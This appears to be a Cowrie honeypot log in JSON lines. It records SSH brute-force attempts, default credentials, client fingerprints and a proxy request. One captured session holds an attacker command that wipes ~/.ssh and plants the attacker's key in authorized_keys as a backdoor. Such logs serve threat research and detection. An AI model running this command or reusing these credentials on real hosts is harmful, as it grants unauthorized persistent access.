{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:40.537874Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:40.650555Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:41.420472Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:41.424120Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:41.580109Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:41.584323Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":33086,"dst_ip":"159.203.135.109","dst_port":22,"session":"42e29829a7de","protocol":"ssh","message":"New connection: 2.203.183.35:33086 (159.203.135.109:22) [session: 42e29829a7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:41.684581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:41.690344Z","src_ip":"2.203.183.35","session":"42e29829a7de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:41.805984Z","src_ip":"2.203.183.35","session":"42e29829a7de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:42.257081Z","src_ip":"2.203.183.35","session":"42e29829a7de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:43.371165Z","src_ip":"2.203.183.35","session":"42e29829a7de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":33602,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8bd9e36f7f2","protocol":"ssh","message":"New connection: 2.203.183.35:33602 (159.203.135.109:22) [session: a8bd9e36f7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:43.525989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:43.530635Z","src_ip":"2.203.183.35","session":"a8bd9e36f7f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:43.635721Z","src_ip":"2.203.183.35","session":"a8bd9e36f7f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:44.103492Z","src_ip":"2.203.183.35","session":"a8bd9e36f7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:44.214969Z","src_ip":"2.203.183.35","session":"a8bd9e36f7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:44.219826Z","src_ip":"2.203.183.35","session":"046f7e688b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40614,"dst_ip":"159.203.135.109","dst_port":22,"session":"e285eb9bec9d","protocol":"ssh","message":"New connection: 159.203.92.129:40614 (159.203.135.109:22) [session: e285eb9bec9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:59.083424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:59.087922Z","src_ip":"159.203.92.129","session":"e285eb9bec9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:59.092557Z","src_ip":"159.203.92.129","session":"e285eb9bec9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app2","password":"123","message":"login attempt [app2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:40:59.107111Z","src_ip":"159.203.92.129","session":"e285eb9bec9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:00.114445Z","src_ip":"159.203.92.129","session":"e285eb9bec9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35160,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e453a3523d0","protocol":"ssh","message":"New connection: 122.168.114.167:35160 (159.203.135.109:22) [session: 4e453a3523d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:07.537766Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":60286,"dst_ip":"159.203.135.109","dst_port":22,"session":"f97d972be025","protocol":"ssh","message":"New connection: 148.216.28.11:60286 (159.203.135.109:22) [session: f97d972be025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:08.052921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:08.056802Z","src_ip":"148.216.28.11","session":"f97d972be025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:08.123079Z","src_ip":"148.216.28.11","session":"f97d972be025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tsserver","password":"tsserver","message":"login attempt [tsserver/tsserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:08.421129Z","src_ip":"148.216.28.11","session":"f97d972be025","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:09.292854Z","src_ip":"122.168.114.167","session":"4e453a3523d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:09.328793Z","src_ip":"122.168.114.167","session":"4e453a3523d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:09.490546Z","src_ip":"148.216.28.11","session":"f97d972be025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17488,"dst_ip":"10.17.0.5","dst_port":22,"session":"90198a45ef69","protocol":"ssh","message":"New connection: 87.251.64.176:17488 (10.17.0.5:22) [session: 90198a45ef69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:15.513978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:15.520565Z","src_ip":"87.251.64.176","session":"90198a45ef69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:15.619943Z","src_ip":"87.251.64.176","session":"90198a45ef69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:15.909142Z","src_ip":"87.251.64.176","session":"90198a45ef69","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:16.008765Z","session":"90198a45ef69","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:16.107139Z","src_ip":"87.251.64.176","session":"90198a45ef69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:16.341916Z","src_ip":"87.251.64.176","session":"90198a45ef69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:18.743602Z","src_ip":"122.168.114.167","session":"4e453a3523d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:22.269513Z","src_ip":"122.168.114.167","session":"4e453a3523d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.10.237.211","src_port":2288,"dst_ip":"10.17.0.5","dst_port":23,"session":"9764a79913d5","protocol":"telnet","message":"New connection: 89.10.237.211:2288 (10.17.0.5:23) [session: 9764a79913d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:25.016880Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":50094,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb58e5d9c3a","protocol":"ssh","message":"New connection: 2.203.183.35:50094 (159.203.135.109:22) [session: 0bb58e5d9c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:34.875087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:34.879980Z","src_ip":"2.203.183.35","session":"0bb58e5d9c3a","protocol":"ssh"}
